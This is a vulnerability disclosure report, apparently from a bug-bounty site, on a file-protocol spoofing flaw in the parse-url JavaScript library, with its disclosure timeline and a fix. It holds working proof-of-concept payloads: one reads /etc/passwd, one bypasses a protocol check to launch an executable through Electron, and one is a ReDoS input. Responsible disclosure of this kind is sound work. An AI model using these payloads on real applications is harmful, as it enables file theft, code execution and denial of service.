File Protocol Spoofing in ionicabizau/parse-url

Valid

Reported on

Jun 30th 2022


Description

parse-url misinterpreting the file:// protocol when trying to match git urls.

The following payload is certainly valid file protocol but is interpreted as ssh protocol.

file:///etc/passwd?#http://a:1:1

Proof of Concept

// PoC.js
const fs = require('fs');
var parseURL = require("parse-url")

const malicious_str = "file:///etc/passwd?#http://a:1:1"; 

parsed = parseURL(malicious_str)

console.log(parsed)

if (parsed.protocol !== "file") {
    fs.readFile(new URL(parsed.href), 'utf8', (err, data) => {
        console.dir(data);
      });
}
# The output
doublevkay@roothunter:~/projects/HuntrHunter/testing$ node parse-url/poc.js
{
  protocols: [ 'ssh' ],
  protocol: 'ssh',
  port: '',
  resource: 'a',
  user: 'git',
  password: '',
  pathname: '/1',
  hash: 'http://a:1:1',
  search: '',
  href: 'file:///etc/passwd?#http://a:1:1',
  query: {}
}
'root:x:0:0:root:/root:/bin/bash\n' +
  'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n' +
  'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n' +
  'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n' +
...

File protocol misinterpretion is dangerous. I want to point out another exploits scenario to demonstrate the impact of this vulnerability. The following code could bypass the protocol check which tries to prevent RCE from the electron.shell.openExternal() function. It will popup the Calculator app on Windows.

// PoC2.js
const electron = require('electron')

var parseURL = require("parse-url")

const malicious_link = "file:///C:\\Windows\\System32\\calc.exe?#http://a:2:2";

parsed = parseURL(malicious_link)

console.log(parsed)

if (parsed.protocol !== "file") { // Try to prevent file protocol which could lead to RCE
    electron.shell.openExternal(parsed.href) // The Calculator pop up !!!
}

Expected behaviors

Compare the behaviors with default URL in nodejs and urijs

var parseUrl = require("parse-url")
var urijs = require("urijs")

payload = "file:///etc/passwd?#http://a:1:1"
console.log("[*] payload: " + payload)
console.log("[*] `parse-url` output: ")
console.log(parseUrl(payload))
console.log("[*] `urijs` output: ")
console.log(urijs(payload))
console.log("[*] `node:URL` output: ")
console.log(new URL(payload))

And the output is:

[*] payload: file:///etc/passwd?#http://a:1:1
[*] `parse-url` output: 
{
  protocols: [ 'ssh' ],
  protocol: 'ssh',
  port: '',
  resource: 'a',
  user: 'git',
  password: '',
  pathname: '/1',
  hash: 'http://a:1:1',
  search: '',
  href: 'file:///etc/passwd?#http://a:1:1',
  query: {}
}
[*] `urijs` output: 
URI {
  _string: '',
  _parts: {
    protocol: 'file',
    username: null,
    password: null,
    hostname: null,
    urn: null,
    port: null,
    path: '/etc/passwd',
    query: null,
    fragment: 'http://a:1:1',
    preventInvalidHostname: false,
    duplicateQueryParameters: false,
    escapeQuerySpace: true
  },
  _deferred_build: true
}
[*] `node:URL` output: 
URL {
  href: 'file:///etc/passwd?#http://a:1:1',
  origin: 'null',
  protocol: 'file:',
  username: '',
  password: '',
  host: '',
  hostname: '',
  port: '',
  pathname: '/etc/passwd',
  search: '',
  searchParams: URLSearchParams {},
  hash: '#http://a:1:1'
}

Suggestion Fix

In GIT_RE regular expression should match schema at the beginning of string. This could be achieved by add a Start Of String token^ into regex.

const GIT_RE = /(^(git@|http(s)?:\/\/)([\w\.@]+)(\/|:))(([\~,\w,\-,\_,\/]+)(.git){0,1}((\/){0,1}))/

Impact

The mistake in file protocol identity could be manipulated for other attacks, such as XSS, Arbitrary Read/Write File, and Remote Code Execution.

We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. a month ago
a month ago
We have contacted a member of the ionicabizau/parse-url team and are waiting to hear back a month ago
We have sent a follow up to the ionicabizau/parse-url team. We will try again in 7 days. a month ago
Khang
a month ago

Researcher


I would like to notice that the current GIT_RE is vulnerable to ReDoS attack too. The regex is a polynomial complexity regular expression.

doublevkay@roothunter:~/parse-url$ time node -e 'require("parse-url")("file://" + ".git@h".repeat(50000))'

real    0m15.310s
user    0m15.311s
sys     0m0.000s
doublevkay@roothunter:~/parse-url$ time node -e 'require("urijs")("file://" + ".git@h".repeat(50000))'

real    0m0.030s
user    0m0.010s
sys     0m0.021s

Glad that the suggested fix also helps to improve the performance of the regex and solves the performance issue.

doublevkay@roothunter:~/parse-url$ \
> echo "After applying the fix" \
> ;time node -e 'require("parse-url")("file://" + ".git@h".repeat(50000))'
After applying the fix

real    0m0.036s
user    0m0.028s
sys     0m0.010s
We have sent a second follow up to the ionicabizau/parse-url team. We will try again in 10 days. a month ago
Ionică Bizău (Johnny B.) validated this vulnerability 25 days ago

Thank you for this finding, Khang!

Khang Vo (doublevkay) has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
We have sent a fix follow up to the ionicabizau/parse-url team. We will try again in 7 days. 22 days ago
We have sent a second fix follow up to the ionicabizau/parse-url team. We will try again in 10 days. 15 days ago
Ionică Bizău (Johnny B.) confirmed that a fix has been merged on 3c169e 9 days ago
Khang Vo (doublevkay) has been awarded the fix bounty
to join this conversation